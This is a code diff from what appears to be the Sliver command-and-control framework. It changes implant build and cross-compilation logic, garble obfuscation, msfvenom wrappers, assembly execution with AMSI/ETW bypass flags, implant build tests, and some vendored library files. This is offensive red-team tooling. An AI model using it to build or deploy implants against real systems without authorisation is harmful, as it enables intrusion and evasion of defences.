||||
c2URL, err := url.Parse(c2.URL)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to parse c2 url %v", err)
|
||||
continue
|
||||
}
|
||||
for _, scheme := range schemes {
|
||||
if scheme == c2URL.Scheme {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
buildLog.Debugf("No %v URLs found in %v", schemes, c2s)
|
||||
return false
|
||||
}
|
||||
|
||||
// GetSliversDir - Get the binary directory
|
||||
func GetSliversDir() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
@@ -256,20 +197,18 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
|
||||
// SliverSharedLibrary - Generates a sliver shared library (DLL/dylib/so) binary
|
||||
func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
// Compile go code
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
// Don't use a cross-compiler if the target bin is built on the same platform
|
||||
// as the sliver-server.
|
||||
if runtime.GOOS != config.GOOS {
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
if cc == "" {
|
||||
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
|
||||
}
|
||||
}
|
||||
|
||||
buildLog.Infof(" CC: %s", cc)
|
||||
buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
@@ -328,15 +267,22 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
|
||||
// SliverExecutable - Generates a sliver executable binary
|
||||
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
// Compile go code
|
||||
appDir := assets.GetRootAppDir()
|
||||
cgo := "0"
|
||||
if config.IsSharedLib {
|
||||
cgo = "1"
|
||||
}
|
||||
|
||||
// var cc string
|
||||
// var cxx string
|
||||
// cgo := "0"
|
||||
// if runtime.GOOS != config.GOOS {
|
||||
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
// cgo = "1"
|
||||
// }
|
||||
|
||||
// buildLog.Infof(" CC: %s", cc)
|
||||
// buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: cgo,
|
||||
CGO: "0",
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
@@ -406,8 +352,8 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
|
||||
// srcDir - ~/.sliver/slivers/<os>/<arch>/<name>/src
|
||||
srcDir := filepath.Join(projectGoPathDir, "src")
|
||||
assets.SetupGoPath(srcDir) // Extract GOPATH dependency files
|
||||
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
assets.SetupGoPath(srcDir, config.IncludeDNS) // Extract GOPATH dependency files
|
||||
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
if err != nil {
|
||||
buildLog.Errorf("fs perms: %v", err)
|
||||
return "", err
|
||||
@@ -482,7 +428,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
sliverCode := template.New("sliver")
|
||||
sliverCode, err = sliverCode.Funcs(template.FuncMap{
|
||||
"GenerateUserAgent": func() string {
|
||||
return "" // renerateUserAgent(config.GOOS, config.GOARCH)
|
||||
return pbC2Implant.UserAgent
|
||||
},
|
||||
}).Parse(sliverGoCode)
|
||||
if err != nil {
|
||||
@@ -578,7 +524,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
}
|
||||
|
||||
// renderTrafficEncoderAssets - Copies and compresses any enabled WASM traffic encoders
|
||||
func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
func renderTrafficEncoderAssets(_ *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
buildLog.Infof("Rendering traffic encoder assets ...")
|
||||
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
|
||||
for _, asset := range config.Assets {
|
||||
@@ -603,7 +549,7 @@ func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.I
|
||||
}
|
||||
|
||||
// renderNativeEncoderAssets - Render native encoder assets such as the english dictionary file
|
||||
func renderNativeEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
func renderNativeEncoderAssets(_ *clientpb.ImplantBuild, _ *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
buildLog.Infof("Rendering native encoder assets ...")
|
||||
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
|
||||
|
||||
@@ -664,46 +610,6 @@ func renderImplantEnglish() []string {
|
||||
return implantDictionary
|
||||
}
|
||||
|
||||
func renderChromeUserAgent(implantConfig *clientpb.HTTPC2ImplantConfig, goos string, goarch string) string {
|
||||
if implantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderMacOSVer(implantConfig), renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return implantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
func renderChromeVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func renderMacOSVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// GenerateConfig - Generate the keys/etc for the implant
|
||||
func GenerateConfig(name string, implantConfig *clientpb.ImplantConfig) (*clientpb.ImplantBuild, error) {
|
||||
var err error
|
||||
@@ -794,38 +700,80 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
func findCrossCompilers(targetGoos string, targetGoarch string) (string, string) {
|
||||
var found bool
|
||||
func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string) {
|
||||
|
||||
// Get CC and CXX from ENV
|
||||
cc, cxx := getCrossCompilersFromEnv(targetGoos, targetGoarch)
|
||||
// Get CC and CXX from ENV -- First Priority
|
||||
cc, cxx := getCrossCompilersFromEnv(targetGOOS, targetGOARCH)
|
||||
if cc != "" && cxx != "" {
|
||||
buildLog.Debugf("CC and CXX found in ENV: cc=%s, cxx=%s", cc, cxx)
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
// If no CC is set in ENV then look for default path(s), we need a CC
|
||||
// but don't always need a CXX so we only WARN on a missing CXX
|
||||
if cc == "" {
|
||||
buildLog.Debugf("CC not found in ENV, using default paths")
|
||||
if _, ok := defaultCCPaths[runtime.GOOS]; ok {
|
||||
if cc, found = defaultCCPaths[runtime.GOOS][targetGoos][targetGoarch]; !found {
|
||||
buildLog.Debugf("No default for %s/%s from %s", targetGoos, targetGoarch, runtime.GOOS)
|
||||
// Server config file -- Second Priority
|
||||
serverConfig := configs.GetServerConfig()
|
||||
if serverConfig != nil {
|
||||
if cc == "" {
|
||||
if value, ok := serverConfig.CC[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
|
||||
cc = value
|
||||
} else {
|
||||
buildLog.Debugf("CC for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
|
||||
}
|
||||
} else {
|
||||
buildLog.Debugf("No default paths for %s runtime", runtime.GOOS)
|
||||
}
|
||||
if cxx == "" {
|
||||
if value, ok := serverConfig.CXX[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
|
||||
cxx = value
|
||||
} else {
|
||||
buildLog.Debugf("CXX for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
|
||||
}
|
||||
}
|
||||
if cc != "" && cxx != "" {
|
||||
buildLog.Debugf("CC and CXX found in ENV/server config: cc=%s, cxx=%s", cc, cxx)
|
||||
return cc, cxx
|
||||
}
|
||||
}
|
||||
|
||||
// Check to see if CC and CXX exist
|
||||
if cc != "" {
|
||||
if _, err := os.Stat(cc); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CC path '%s' does not exist", cc)
|
||||
// Defaults -- Tertiary Priority
|
||||
// Darwin/zig doesn't work :( maybe it will in the future though
|
||||
if targetGOOS != DARWIN && (cc == "" || cxx == "") {
|
||||
zigTarget := map[string]string{
|
||||
"windows/amd64": "x86_64-windows-gnu",
|
||||
"windows/arm64": "aarch64-windows-gnu",
|
||||
"windows/386": "x86-windows-gnu",
|
||||
"linux/amd64": "x86_64-linux-musl",
|
||||
"linux/386": "x86-linux-musl",
|
||||
"linux/arm64": "aarch64-linux-musl",
|
||||
"linux/ppc64": "powerpc64le-linux-musl",
|
||||
}[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]
|
||||
|
||||
zigDir := assets.GetZigDir()
|
||||
if cc == "" {
|
||||
buildLog.Debugf("Using default zig cc for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = fmt.Sprintf("%s cc -target %s", filepath.Join(zigDir, "zig"), zigTarget)
|
||||
|
||||
}
|
||||
if cxx == "" {
|
||||
buildLog.Debugf("Using default zig cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cxx = fmt.Sprintf("%s c++ -target %s", filepath.Join(zigDir, "zig"), zigTarget)
|
||||
}
|
||||
}
|
||||
buildLog.Debugf(" CC = '%s'", cc)
|
||||
if cxx != "" {
|
||||
if _, err := os.Stat(cxx); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CXX path '%s' does not exist", cxx)
|
||||
// Try to use OSXCross for cross-compiling to Darwin
|
||||
if targetGOOS == DARWIN && runtime.GOOS != DARWIN {
|
||||
if targetGOARCH == "amd64" && cc == "" {
|
||||
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = "/opt/osxcross/target/bin/o64-clang"
|
||||
if cxx == "" {
|
||||
cxx = cc
|
||||
}
|
||||
}
|
||||
if targetGOARCH == "arm64" && cc == "" {
|
||||
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang"
|
||||
if cxx == "" {
|
||||
cxx = cc
|
||||
}
|
||||
}
|
||||
}
|
||||
buildLog.Debugf("CXX = '%s'", cxx)
|
||||
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
@@ -996,7 +944,7 @@ const (
|
||||
// this is currently set to '*' (all packages) however in the past we've had
|
||||
// to carve out specific packages, so we left this here just in case we need
|
||||
// it in the future.
|
||||
func goGarble(config *clientpb.ImplantConfig) string {
|
||||
func goGarble(_ *clientpb.ImplantConfig) string {
|
||||
// for _, c2 := range config.C2 {
|
||||
// uri, err := url.Parse(c2.URL)
|
||||
// if err != nil {
|
||||
|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -36,14 +35,18 @@ func TestSliverExecutableWindows(t *testing.T) {
|
||||
|
||||
// Wireguard C2
|
||||
wireguardExe(t, "windows", "amd64", false, false)
|
||||
wireguardExe(t, "windows", "arm64", false, false)
|
||||
wireguardExe(t, "windows", "386", false, false)
|
||||
wireguardExe(t, "windows", "amd64", false, true)
|
||||
wireguardExe(t, "windows", "arm64", false, true)
|
||||
wireguardExe(t, "windows", "386", false, true)
|
||||
|
||||
// Wireguard beacon
|
||||
wireguardExe(t, "windows", "amd64", true, false)
|
||||
wireguardExe(t, "windows", "arm64", true, false)
|
||||
wireguardExe(t, "windows", "386", true, false)
|
||||
wireguardExe(t, "windows", "amd64", true, true)
|
||||
wireguardExe(t, "windows", "arm64", true, true)
|
||||
wireguardExe(t, "windows", "386", true, true)
|
||||
|
||||
// mTLS C2
|
||||
@@ -82,12 +85,16 @@ func TestSliverExecutableWindows(t *testing.T) {
|
||||
// Multiple C2s
|
||||
multiExe(t, "windows", "amd64", false, true)
|
||||
multiExe(t, "windows", "amd64", false, false)
|
||||
multiExe(t, "windows", "arm64", false, true)
|
||||
multiExe(t, "windows", "arm64", false, false)
|
||||
multiExe(t, "windows", "386", false, false)
|
||||
multiExe(t, "windows", "386", false, false)
|
||||
|
||||
// Multiple Beacons
|
||||
multiExe(t, "windows", "amd64", true, true)
|
||||
multiExe(t, "windows", "amd64", true, false)
|
||||
multiExe(t, "windows", "arm64", true, true)
|
||||
multiExe(t, "windows", "arm64", true, false)
|
||||
multiExe(t, "windows", "386", true, false)
|
||||
multiExe(t, "windows", "386", true, false)
|
||||
|
||||
@@ -97,50 +104,77 @@ func TestSliverExecutableWindows(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestSliverSharedLibWindows(t *testing.T) {
|
||||
// amd64
|
||||
multiLibrary(t, "windows", "amd64", true)
|
||||
multiLibrary(t, "windows", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiLibrary(t, "windows", "arm64", true)
|
||||
multiLibrary(t, "windows", "arm64", false)
|
||||
|
||||
// 386
|
||||
multiLibrary(t, "windows", "386", true)
|
||||
multiLibrary(t, "windows", "386", false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableLinux(t *testing.T) {
|
||||
// amd64
|
||||
multiExe(t, "linux", "amd64", false, true)
|
||||
multiExe(t, "linux", "amd64", false, false)
|
||||
|
||||
multiExe(t, "linux", "amd64", true, true)
|
||||
multiExe(t, "linux", "amd64", true, false)
|
||||
|
||||
tcpPivotExe(t, "linux", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiExe(t, "linux", "arm64", false, true)
|
||||
multiExe(t, "linux", "arm64", false, false)
|
||||
multiExe(t, "linux", "arm64", true, true)
|
||||
multiExe(t, "linux", "arm64", true, false)
|
||||
tcpPivotExe(t, "linux", "arm64", false)
|
||||
|
||||
// 386
|
||||
multiExe(t, "linux", "386", false, true)
|
||||
multiExe(t, "linux", "386", false, false)
|
||||
multiExe(t, "linux", "386", true, true)
|
||||
multiExe(t, "linux", "386", true, false)
|
||||
tcpPivotExe(t, "linux", "386", false)
|
||||
}
|
||||
|
||||
func TestSliverSharedLibraryLinux(t *testing.T) {
|
||||
if runtime.GOOS == "linux" {
|
||||
multiLibrary(t, "linux", "amd64", true)
|
||||
multiLibrary(t, "linux", "amd64", false)
|
||||
multiLibrary(t, "linux", "386", true)
|
||||
multiLibrary(t, "linux", "386", false)
|
||||
}
|
||||
// amd64
|
||||
multiLibrary(t, "linux", "amd64", true)
|
||||
multiLibrary(t, "linux", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiLibrary(t, "linux", "arm64", true)
|
||||
multiLibrary(t, "linux", "arm64", false)
|
||||
|
||||
// 386
|
||||
multiLibrary(t, "linux", "386", true)
|
||||
multiLibrary(t, "linux", "386", false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableDarwin(t *testing.T) {
|
||||
// amd64
|
||||
multiExe(t, "darwin", "amd64", false, true)
|
||||
multiExe(t, "darwin", "amd64", false, false)
|
||||
multiExe(t, "darwin", "amd64", true, true)
|
||||
multiExe(t, "darwin", "amd64", true, false)
|
||||
|
||||
tcpPivotExe(t, "darwin", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiExe(t, "darwin", "arm64", false, true)
|
||||
multiExe(t, "darwin", "arm64", false, false)
|
||||
multiExe(t, "darwin", "arm64", true, true)
|
||||
multiExe(t, "darwin", "arm64", true, false)
|
||||
tcpPivotExe(t, "darwin", "arm64", false)
|
||||
}
|
||||
|
||||
func TestSliverDefaultBuild(t *testing.T) {
|
||||
mtlsExe(t, "linux", "arm", false, true)
|
||||
mtlsExe(t, "linux", "arm", false, false)
|
||||
httpExe(t, "freebsd", "amd64", false, false)
|
||||
httpExe(t, "freebsd", "amd64", false, true)
|
||||
dnsExe(t, "plan9", "amd64", false, false)
|
||||
dnsExe(t, "plan9", "amd64", false, true)
|
||||
|
||||
mtlsExe(t, "linux", "arm", true, true)
|
||||
mtlsExe(t, "linux", "arm", true, false)
|
||||
httpExe(t, "freebsd", "amd64", true, false)
|
||||
httpExe(t, "freebsd", "amd64", true, true)
|
||||
dnsExe(t, "plan9", "amd64", true, false)
|
||||
@@ -148,10 +182,11 @@ func TestSliverDefaultBuild(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestSymbolObfuscation(t *testing.T) {
|
||||
|
||||
// Supported platforms
|
||||
symbolObfuscation(t, "windows", "amd64")
|
||||
symbolObfuscation(t, "windows", "arm64")
|
||||
symbolObfuscation(t, "linux", "amd64")
|
||||
symbolObfuscation(t, "linux", "arm64")
|
||||
symbolObfuscation(t, "linux", "386")
|
||||
symbolObfuscation(t, "darwin", "amd64")
|
||||
symbolObfuscation(t, "darwin", "arm64")
|
||||
|
||||
@@ -42,6 +42,9 @@ func SaveImplantProfile(pbProfile *clientpb.ImplantProfile) (*clientpb.ImplantPr
|
||||
Name: profile.Name,
|
||||
ImplantConfig: profile.ImplantConfig,
|
||||
}).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dbProfile, err = db.ImplantProfileByName(profile.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
+4
-6
@@ -26,15 +26,12 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
goDirName = "go"
|
||||
|
||||
kb = 1024
|
||||
mb = 1024 * kb
|
||||
gb = 1024 * mb
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -111,7 +108,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
@@ -154,7 +151,8 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
|
||||
+8
-8
@@ -222,10 +222,10 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
|
||||
func venomCmd(args []string) ([]byte, error) {
|
||||
msfLog.Printf("%s %v", venomBin, args)
|
||||
cmd := exec.Command(venomBin, args...)
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
stdout := new(bytes.Buffer)
|
||||
stderr := new(bytes.Buffer)
|
||||
cmd.Stdout = stdout
|
||||
cmd.Stderr = stderr
|
||||
err := cmd.Run()
|
||||
msfLog.Println(cmd.String())
|
||||
if err != nil {
|
||||
@@ -240,10 +240,10 @@ func venomCmd(args []string) ([]byte, error) {
|
||||
// consoleCmd - Execute a msfvenom command
|
||||
func consoleCmd(args []string) ([]byte, error) {
|
||||
cmd := exec.Command(consoleBin, args...)
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
stdout := new(bytes.Buffer)
|
||||
stderr := new(bytes.Buffer)
|
||||
cmd.Stdout = stdout
|
||||
cmd.Stderr = stderr
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
msfLog.Printf("--- stdout ---\n%s\n", stdout.String())
|
||||
|
||||
@@ -239,3 +239,13 @@ func (rpc *Server) Grep(ctx context.Context, req *sliverpb.GrepReq) (*sliverpb.G
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Mount - Get information on mounted filesystems
|
||||
func (rpc *Server) Mount(ctx context.Context, req *sliverpb.MountReq) (*sliverpb.Mount, error) {
|
||||
resp := &sliverpb.Mount{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -198,7 +198,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
req.Assembly,
|
||||
req.IsDLL,
|
||||
req.Arch,
|
||||
req.Arguments,
|
||||
strings.Join(req.Arguments, " "),
|
||||
req.Method,
|
||||
req.ClassName,
|
||||
req.AppDomain,
|
||||
@@ -214,7 +214,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
invokeInProcExecAssembly := &sliverpb.InvokeInProcExecuteAssemblyReq{
|
||||
Data: req.Assembly,
|
||||
Runtime: req.Runtime,
|
||||
Arguments: strings.Split(req.Arguments, " "),
|
||||
Arguments: req.Arguments,
|
||||
AmsiBypass: req.AmsiBypass,
|
||||
EtwBypass: req.EtwBypass,
|
||||
Request: req.Request,
|
||||
@@ -266,7 +266,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
|
||||
}
|
||||
|
||||
if getOS(session, beacon) == "windows" {
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, req.Args, "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
|
||||
if err != nil {
|
||||
tasksLog.Errorf("Sideload failed: %s", err)
|
||||
return nil, err
|
||||
|
||||
@@ -8,3 +8,13 @@ func Contains[T comparable](elements []T, v T) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// From the x/exp source code - gets a slice of keys for a map
|
||||
func Keys[M ~map[K]V, K comparable, V any](m M) []K {
|
||||
r := make([]K, 0, len(m))
|
||||
for k := range m {
|
||||
r = append(r, k)
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
+45
-11
@@ -65,6 +65,29 @@ const (
|
||||
CrossedOut
|
||||
)
|
||||
|
||||
const (
|
||||
ResetBold Attribute = iota + 22
|
||||
ResetItalic
|
||||
ResetUnderline
|
||||
ResetBlinking
|
||||
_
|
||||
ResetReversed
|
||||
ResetConcealed
|
||||
ResetCrossedOut
|
||||
)
|
||||
|
||||
var mapResetAttributes map[Attribute]Attribute = map[Attribute]Attribute{
|
||||
Bold: ResetBold,
|
||||
Faint: ResetBold,
|
||||
Italic: ResetItalic,
|
||||
Underline: ResetUnderline,
|
||||
BlinkSlow: ResetBlinking,
|
||||
BlinkRapid: ResetBlinking,
|
||||
ReverseVideo: ResetReversed,
|
||||
Concealed: ResetConcealed,
|
||||
CrossedOut: ResetCrossedOut,
|
||||
}
|
||||
|
||||
// Foreground text colors
|
||||
const (
|
||||
FgBlack Attribute = iota + 30
|
||||
@@ -246,10 +269,7 @@ func (c *Color) Printf(format string, a ...interface{}) (n int, err error) {
|
||||
// On Windows, users should wrap w with colorable.NewColorable() if w is of
|
||||
// type *os.File.
|
||||
func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err error) {
|
||||
c.SetWriter(w)
|
||||
defer c.UnsetWriter(w)
|
||||
|
||||
return fmt.Fprintln(w, a...)
|
||||
return fmt.Fprintln(w, c.wrap(fmt.Sprint(a...)))
|
||||
}
|
||||
|
||||
// Println formats using the default formats for its operands and writes to
|
||||
@@ -258,10 +278,7 @@ func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err error) {
|
||||
// encountered. This is the standard fmt.Print() method wrapped with the given
|
||||
// color.
|
||||
func (c *Color) Println(a ...interface{}) (n int, err error) {
|
||||
c.Set()
|
||||
defer c.unset()
|
||||
|
||||
return fmt.Fprintln(Output, a...)
|
||||
return fmt.Fprintln(Output, c.wrap(fmt.Sprint(a...)))
|
||||
}
|
||||
|
||||
// Sprint is just like Print, but returns a string instead of printing it.
|
||||
@@ -271,7 +288,7 @@ func (c *Color) Sprint(a ...interface{}) string {
|
||||
|
||||
// Sprintln is just like Println, but returns a string instead of printing it.
|
||||
func (c *Color) Sprintln(a ...interface{}) string {
|
||||
return c.wrap(fmt.Sprintln(a...))
|
||||
return fmt.Sprintln(c.Sprint(a...))
|
||||
}
|
||||
|
||||
// Sprintf is just like Printf, but returns a string instead of printing it.
|
||||
@@ -353,7 +370,7 @@ func (c *Color) SprintfFunc() func(format string, a ...interface{}) string {
|
||||
// string. Windows users should use this in conjunction with color.Output.
|
||||
func (c *Color) SprintlnFunc() func(a ...interface{}) string {
|
||||
return func(a ...interface{}) string {
|
||||
return c.wrap(fmt.Sprintln(a...))
|
||||
return fmt.Sprintln(c.Sprint(a...))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -383,7 +400,18 @@ func (c *Color) format() string {
|
||||
}
|
||||
|
||||
func (c *Color) unformat() string {
|
||||
return fmt.Sprintf("%s[%dm", escape, Reset)
|
||||
//return fmt.Sprintf("%s[%dm", escape, Reset)
|
||||
//for each element in sequence let's use the speficic reset escape, ou the generic one if not found
|
||||
format := make([]string, len(c.params))
|
||||
for i, v := range c.params {
|
||||
format[i] = strconv.Itoa(int(Reset))
|
||||
ra, ok := mapResetAttributes[v]
|
||||
if ok {
|
||||
format[i] = strconv.Itoa(int(ra))
|
||||
}
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s[%sm", escape, strings.Join(format, ";"))
|
||||
}
|
||||
|
||||
// DisableColor disables the color output. Useful to not change any existing
|
||||
@@ -411,6 +439,12 @@ func (c *Color) isNoColorSet() bool {
|
||||
|
||||
// Equals returns a boolean value indicating whether two colors are equal.
|
||||
func (c *Color) Equals(c2 *Color) bool {
|
||||
if c == nil && c2 == nil {
|
||||
return true
|
||||
}
|
||||
if c == nil || c2 == nil {
|
||||
return false
|
||||
}
|
||||
if len(c.params) != len(c2.params) {
|
||||
return false
|
||||
}
|
||||
|
||||
+112
@@ -1,3 +1,115 @@
|
||||
# 5.5.4 (March 4, 2024)
|
||||
|
||||
Fix CVE-2024-27304
|
||||
|
||||
SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer
|
||||
overflow in the calculated message size can cause the one large message to be sent as multiple messages under the
|
||||
attacker's control.
|
||||
|
||||
Thanks to Paul Gerste for reporting this issue.
|
||||
|
||||
* Fix behavior of CollectRows to return empty slice if Rows are empty (Felix)
|
||||
* Fix simple protocol encoding of json.RawMessage
|
||||
* Fix *Pipeline.getResults should close pipeline on error
|
||||
* Fix panic in TryFindUnderlyingTypeScanPlan (David Kurman)
|
||||
* Fix deallocation of invalidated cached statements in a transaction
|
||||
* Handle invalid sslkey file
|
||||
* Fix scan float4 into sql.Scanner
|
||||
* Fix pgtype.Bits not making copy of data from read buffer. This would cause the data to be corrupted by future reads.
|
||||
|
||||
# 5.5.3 (February 3, 2024)
|
||||
|
||||
* Fix: prepared statement already exists
|
||||
